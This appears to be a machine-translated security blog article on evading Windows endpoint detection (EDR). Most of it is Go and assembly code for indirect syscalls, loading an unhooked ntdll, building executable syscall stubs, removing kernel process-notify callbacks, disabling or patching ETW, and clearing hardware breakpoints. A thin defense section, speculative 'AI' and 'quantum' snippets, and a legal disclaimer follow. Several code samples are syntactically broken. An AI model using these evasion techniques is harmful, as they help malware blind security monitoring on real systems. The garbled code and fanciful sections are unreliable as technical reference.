First, analysis of Syscall detection mechanism

0 21
First, analysis of Syscall detection mechanismModern EDR (Endpoint Detection and...

First, analysis of Syscall detection mechanism

Modern EDR (Endpoint Detection and Response) systems detect suspicious Syscall calls in the following ways:

  1. User layer HookTo interceptntdll.dllIn the Syscall stub of

  2. First, analysis of Syscall detection mechanism

    Kernel callbackByPsSetCreateProcessNotifyRoutineand other callback monitoring

  3. ETW (Event Tracing for Windows)To capture Syscall events

  4. Hardware breakpointsBy monitoring key Syscall instructions

Common detection points:

  • Direct Syscall instruction (syscall/int 2Eh)

  • Rarely used Syscall number

  • Syscall call chain exception

Second, bypassing direct Syscall detection

2.1 Instruction Obfuscation of Syscall

PrincipleBy indirect jump or instruction replacement to hidesyscallInstruction.

Implementation code:

nasm

; Obfuscation example
mov r10, rcx
mov eax, SYSCALL_NUMBER
jmp [rip + syscall_stub]
syscall_stub:
    dq 0x00007FFE03000000 + SYSCALL_OFFSET

Go Implementation:

go

//go:linkname syscall_Syscall syscall.Syscall
func syscall_Syscall(trap uintptr, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno) {

func IndirectSyscall(trap uintptr, args ...uintptr) (uintptr, uintptr, error) {
    // Dynamically calculates the jump address
    jmpAddr := getSyscallAddr(trap)
    return syscall_Syscall(jmpAddr, args...)
}

2.2 Randomization of Syscall Number

PrincipleDynamically calculates the Syscall number to avoid static features.

Implementation code:

go

func GetSyscallNumber(apiName string) uint16 {
    hMod, _ := syscall.LoadLibrary("ntdll.dll")
    procAddr, _ := syscall.GetProcAddress(hMod, apiName)
    
    // Parse memory to get number
    return *(*uint16)(unsafe.Pointer(procAddr + 4))
}

func DynamicSyscall(apiName string, args ...uintptr) (uintptr, uintptr, error) {
    syscallNum := GetSyscallNumber(apiName)
    return IndirectSyscall(uintptr(syscallNum), args...)
}

III. User Layer Hook Bypass

3.1 Dynamically load ntdll

PrincipleTo reload a clean copy of ntdll from disk.

Implementation code:

go

func LoadCleanNtdll() (uintptr, error) {
    ntdllPath := getSystem32Path() + "\\ntdll.dll"
    hFile, _ := syscall.CreateFile(ntdllPath, syscall.GENERIC_READ, 0, nil, 
                                  syscall.OPEN_EXISTING, 0, 0)
    
    hMapping, _ := syscall.CreateFileMapping(hFile, nil, 
                                            syscall.PAGE_READONLY | syscall.SEC_IMAGE, 0, 0, nil)
    
    baseAddr, _ := syscall.MapViewOfFile(hMapping, syscall.FILE_MAP_READ, 0, 0, 0)
    return baseAddr, nil
}

func GetCleanSyscallAddr(baseAddr uintptr, apiName string) uintptr {
    // Parse PE structure to get function address
    return parseExportTable(baseAddr, apiName)
}

3.2 Manually map Shellcode

PrincipleTo copy the Syscall stub to the executable memory.

Implementation code:

go

func CreateSyscallStub(syscallNum uint16) uintptr {
    stub := []byte{}
        0x4C, 0x8B, 0xD1,       // mov r10, rcx
        0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, syscall_num
        0x0F, 0x05,             // syscall
        0xC3,                   // ret
    }
    binary.LittleEndian.PutUint32(stub[4:8], uint32(syscallNum))
    
    mem, _ := syscall.VirtualAlloc(0, uintptr(len(stub)), 
                                  syscall.MEM_COMMIT|syscall.MEM_RESERVE, 
                                  syscall.PAGE_EXECUTE_READWRITE)
    
    copy((*[1 << 30]byte)(unsafe.Pointer(mem))[:len(stub)], stub)
    return mem
}

Four, Kernel Callback Bypass

4.1 Remove Callback Object

PrincipleLocate and modify the kernel callback list.

Implementation code:

go

func RemoveCallback(callbackType uintptr) error {
    // Get the address of the Ps*NotifyRoutine array
    baseAddr := getKernelBase()
    callbackArray := baseAddr + callbackType
    
    // Traverse the list to remove the target callback
    for i := 0; i < 64; i++ {
        callback := *(*uintptr)(unsafe.Pointer(callbackArray + uintptr(i)*8))
        if callback == 0 { continue }
        
        // Modify the list pointer
        *(*uintptr)(unsafe.Pointer(callbackArray + uintptr(i)*8)) = 0
    }
    return nil
}

4.2 Callback Function Hook

PrincipleModify the callback function implementation to ignore specific events.

Implementation code:

nasm

; Example: Modify PsSetCreateProcessNotifyRoutine
mov rax, [rcx+8]  ; Original callback
cmp rax, target_callback
jne original_code
ret               ; Return directly
original_code:
jmp rax

Five, ETW Bypass Technology

5.1 Disable ETW Provider

Principle:Locate and modify the ETW Provider registry.

Implementation code:

go

func DisableETW() error {
    key, _ := registry.OpenKey(registry.LOCAL_MACHINE, 
        `SYSTEM\CurrentControlSet\Control\WMI\Autologger`, 
        registry.ALL_ACCESS)
    
    // Disable critical Provider
    key.SetDWordValue("Microsoft-Windows-Threat-Intelligence", 0)
    key.SetDWordValue("Microsoft-Windows-Kernel-Process", 0)
    return nil
}

5.2 ETW Memory Patch

Principle:Modify the ETW-related functions in memory.

Implementation code:

go

func PatchEtwEventWrite() error {
    hNtdll, _ := syscall.LoadLibrary("ntdll.dll")
    etwAddr, _ := syscall.GetProcAddress(hNtdll, "EtwEventWrite")
    
    // Modify to return directly
    patch := []byte{0xC3} // ret
    syscall.VirtualProtect(etwAddr, uintptr(len(patch)), 
                          syscall.PAGE_EXECUTE_READWRITE, &oldProtect)
    copy((*[1 << 30]byte)(unsafe.Pointer(etwAddr))[:len(patch)], patch)
    return nil
}

Six, Bypass Hardware Breakpoints

6.1 Context Switch Clear

Principle:Clear hardware breakpoints by frequent thread switching.

Implementation code:

go

func ClearHardwareBreakpoints() {
    for i := 0; i < 4; i++ {
        // Clear Dr0-Dr3
        asm.SetDr(i, 0)
    }
}

func ThreadSwitch() {
    go func() {}}
        for {
            runtime.Gosched() // Force thread switching
            time.Sleep(10 * time.Millisecond)
        }
    })
}

6.2 Dynamic instruction replacement

Principle: Replace critical instructions at runtime.

Implementation code:

nasm

; Example: Dynamically replace syscall instruction
lea r10, [rip+syscall_stub]
mov [r10], 0x050F  ; syscall
jmp r10

Chapter 7, Comprehensive Defense Solution

7.1 Multidimensional detection

powershell

# Enable kernel integrity monitoring
Set-ProcessMitigation -Policy Enable ArbitraryCodeGuard, BlockNonMicrosoftFonts

# Monitor abnormal Syscall calls
New-EventLog -LogName Security -Source "SyscallMonitor"
Write-EventLog -LogName Security -Source "SyscallMonitor" -EventId 5001 `
  -Message "Detected abnormal Syscall call: process $pid"

7.2 Hardware-level protection

cpp

// Control flow protection based on Intel CET
__declspec(guard(nocf)) void SafeSyscall() {
    __asm { syscall }
}

Chapter 8, Technical Evolution Direction

  1. AI-driven obfuscation:

    python

    # Dynamically generate Syscall call chain
    model = load_model('syscall_predictor.h5')
    next_syscall = model.predict(current_state)
  2. Quantum computing protection:

    cpp

    // Syscall obfuscation based on quantum random numbers
    qrn_get_random(&syscall_key, sizeof(syscall_key));
    syscall_num ^= syscall_key;
  3. Cross-architecture compatibility:

    nasm

    ; ARM64 Syscall example
    mov x8, #SYSCALL_NUMBER
    svc #0

Chapter 9, Legal Statement

  1. The technology described in this article is limited to use forAuthorized security research

  2. Unauthorized attacks violate the Cybersecurity Law

你可能想看:

It is possible to perform credible verification on the system boot program, system program, important configuration parameters, and application programs of computing devices based on a credible root,

Analysis and reflection on some practical issues of network intrusion detection system based on traffic

d) Adopt identification technologies such as passwords, password technologies, biometric technologies, and combinations of two or more to identify users, and at least one identification technology sho

(3) Is the national secret OTP simply replacing the SHA series hash algorithms with the SM3 algorithm, and becoming the national secret version of HOTP and TOTP according to the adopted dynamic factor

JAVA Security | In-depth analysis of the underlying mechanism of Runtime.exec command execution

2021-Digital China Innovation Competition-Huifu Cybersecurity Track-Final-Web-hatenum and source code analysis and payload script analysis

In-depth Analysis and Practice: Analysis of Apache Commons SCXML Remote Code Execution Vulnerability and POC EXP Construction

A brief discussion on the methods of discovering vulnerabilities in business systems from the perspective of management

From 0 to 1, this article is enough to collect SQL injection (sql ten injection types), technical analysis and practical training

Distributed Storage Technology (Part 2): Analysis of the architecture, principles, characteristics, and advantages and disadvantages of wide-column storage and full-text search engines

最后修改时间:
admin
上一篇 2025年03月29日 00:16
下一篇 2025年03月29日 00:38

评论已关闭